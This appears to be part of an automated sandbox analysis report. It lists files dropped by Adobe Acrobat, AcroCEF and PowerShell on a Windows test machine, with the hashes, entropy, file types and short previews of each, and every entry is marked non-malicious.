SHA1:	3FE84F15FB1F6DB9B31C2AFF5E700B43ED4A6D01
SHA-256:	E18DAA46FBFBAB5DB66D0C8CC0BE1C11BA817E8C0589288388A78D5342EBCCF4
SHA-512:	B3A63337097BF0076AB23F0792288501519D0B2AEDCAA9410E557C696A06DEB661CFC0EC57527657CE5C0DB8CDD36D1A29F69D22D565931E0F5D8CD8329AB8BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.207725927345761
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfshHHrPeUkwRe9:YvXKXFURi6ZUYpW7CiVGUUUkee9
MD5:	60FBBC96507B79B2ADFF3137CC08FEAD
SHA1:	93ACF6EF4D10902C3DE20DDF51EB9E571677A1FF
SHA-256:	2C34DF8869C7AAEBDBF09AEEB35AD39931329D61A8962D2A5903F10EFAB73395
SHA-512:	7936148C2D691D005FA7B819DA76EC1986DACD6B7022E05D95787053F95E262A0DF511C42D5178D076316B2CD384A02E4A12CDD7FB47DE9AE05EF54AED7679C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.215882604659833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJTqgFCrPeUkwRe9:YvXKXFURi6ZUYpW7CiVGTq16Ukee9
MD5:	413D16BC16BCCE1313D74DA0F8FE2F28
SHA1:	3AFBEFE676E92C0F815C75EF5172F44FA2740BBA
SHA-256:	D9DBB7E87B5B087B14179133391F84E13E6D707C6A6728C667454A491BCCE67C
SHA-512:	CD242C32F24976520A480AB30568F38F1301531F389D5FB570D334C23F8EA003A74106BF87115B5A70B8966252B7C55BAF0A59A871AA456D95C657BF2AC55351
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130811255960045
Encrypted:	false
SSDEEP:	24:Yyf1zaNQ9ayrRGWCkvQg6vyuXtIFjBj0SXHBWPuBv2Taf2LSJCnAP8uZ+Rq05kum:Yyfygt/6vEF7BWmdFfjgAP84+Rdr9K
MD5:	C814341C66B8CD8FE9773D9A77435111
SHA1:	F5BD2D2AC1BFA053FDF2BF22AB677900A399ED03
SHA-256:	7995C7D2469C781AC9266E1AE5859A7374F30B5711CF0CC64CB0B4C8BFF11A3E
SHA-512:	22A9B8A14E14F7187BD1B5ECD47EA580E1F454CC083EC40544055A405D5BB63619B1E5ADEF0237B342852C012C713D6B57EFF9FE400225C457CA69A4F3867A8F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ecb89586656a8d85a6200c669a9ee895","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573620000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6555d3973315afa29f1dc0136a6b80ad","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573620000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7c97d90f6f3d0eb29efdcc449c12ff22","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573620000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"241f7ea8ff1cd7db35aa37edf40fa712","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736573620000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c1df01bade059127f1cba9290fde93fe","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573620000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ba82cfe27e51cc82132a4afb73b312dd","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9845226298161175
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpJN4zJwtNBwtNbRZ6bRZ4GNF:TVl2GL7ms6ggOVpUzutYtp6Pb
MD5:	5B71C5EC3B7DEF5ACAE36525E9F11134
SHA1:	7E90485E2094D7D6D7382E14F747122DF0F63829
SHA-256:	969A1514DFCA3D0C4B90B1A2FAD91C5322E0D309E32DE2B6A16F987638043810
SHA-512:	B4D1D2EFE5E921F6EDADA21C492E91521FB7C5FC45AEA0E238C9BF370BD8C2ADF5B020345BD964379BD42D11ACD8120F7007EF5351A19A3DC80F9B356E2E336A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3365567887121634
Encrypted:	false
SSDEEP:	24:7+t0AD1RZKHs/Ds/SpJNPzJwtNBwtNbRZ6bRZWf1RZKhqLBx/XYKQvGJF7ursv:7M0GgOVprzutYtp6PMQqll2GL7msv
MD5:	B4202A40F9E0CEB73E60B085E23788AE
SHA1:	0E31BAD304747EDCFB56CB19301C56EA610478EE
SHA-256:	E4EECFB379130D7A9A2F1920D74D0D98B231EFA79DCCC16955D05ADD133D8FD0
SHA-512:	B1468FAC0721CA85BC13169B5E02C7A52027F9BE021B1BDD84197B9F90793CF90B6FC8CEBFFF1858FB2F5C1F75925BA33F0A94929B017B2109376F5B3CCB738C
Malicious:	false
Preview:	.... .c.....u.O)......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGqXa3thhSOUbARJnQxrpuPWlTYyu:6a6TZ44ADEGqXAtrSOA1uPMTK
MD5:	044380BA6E18E57905A3160AA0FDD4D9
SHA1:	5DF5821BDFA708DAEEC7D6B712ED221114A8CFAA
SHA-256:	BE55CDA11FA18EB6DAB28F63BC44868C76F50CA456D0E54EAC7963A7442A4117
SHA-512:	0A4880B905DFF41A72259D3E97905104B154634D83F4B2C0C4FBFD712F2C22C7E0B9B37AF2E405B3B8B922D8335A99874106DECBD510AEC34A7406EAAD16794A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIbca94.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl3eCH:Qw946cPbiOxDlbYnuRKdUH
MD5:	393C51699D50638992DA57206DDBA7BB
SHA1:	DAFC294617DFC8D81EC27E186BCC415EF2C56025
SHA-256:	9EC0832E0B98ADCD3E07C4E199F8B4692F8C3D8BEA4B68E62B13F5DE85B2AB71
SHA-512:	F26EF61DE5FF98BC91EE00EACC1FB8A02B30FD92F996335C03855B3B5801FE3C8B9DB12388F77A8E50C060A745BE54401968B290AFDBA1357217C90EE37AB22F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.3.3.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kins2gqn.dfg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ykovwgqt.bpp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-33-36-778.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.343863819192992
Encrypted:	false
SSDEEP:	384://BqpPQJ94xmJ/oVpXMtBPIR92flj3j6DmDpDpP95/OlwBu+4igGbGyuXu32tvbU:dmm
MD5:	991340772D5968A206DD1CE6029B50B6
SHA1:	56131006446B5CBFA52897E6E3CE5E7AB09BBD17
SHA-256:	A4EF25F8DB40C4FBD64A2053870C8C19D3A01843E87E472F897A5E537228A7AA
SHA-512:	A0013F33823BAA6C322B6C145181085C8F5C63836EF5BDB8B2EF9E68CD76A5A744E02D9EEAA40946F37EF8FB9657B4B7EA899742E43AF672CFD8181EAC3AF350
Malicious:	false
Preview:	SessionID=2ba5464e-1591-4047-8a83-1a95f8fee034.1736573616803 Timestamp=2025-01-11T00:33:36:803-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2ba5464e-1591-4047-8a83-1a95f8fee034.1736573616803 Timestamp=2025-01-11T00:33:36:804-0500 ThreadID=7656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2ba5464e-1591-4047-8a83-1a95f8fee034.1736573616803 Timestamp=2025-01-11T00:33:36:804-0500 ThreadID=7656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2ba5464e-1591-4047-8a83-1a95f8fee034.1736573616803 Timestamp=2025-01-11T00:33:36:804-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2ba5464e-1591-4047-8a83-1a95f8fee034.1736573616803 Timestamp=2025-01-11T00:33:36:804-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4025179301278445
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbj:/
MD5:	89151FE368A47493F361ABF57F0D5793
SHA1:	AF7A162D95E96F73331859B4BBDFD6200A3B0DD1
SHA-256:	F333389C58ECD1E8A2802E9D6DDE8849091936E3E063FB618824BF783BB2294E
SHA-512:	566664447BEDE54358432BB1A1E4B0674E8E52E80194F6DF3AAD31927B9B91BE7E74E2180890A1746CC68EE261121C1FD2037D2C763610C5B8C4092EA36E3AFB
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\56b013f4-295c-4e03-900b-faaae20bd0e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7613cc62-b88f-409e-aed6-53e80498c265.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7e1c3de2-b663-4ac8-8d22-36e54a1fa475.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dfcdb77a-0b87-4287-b202-19a322aa2467.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
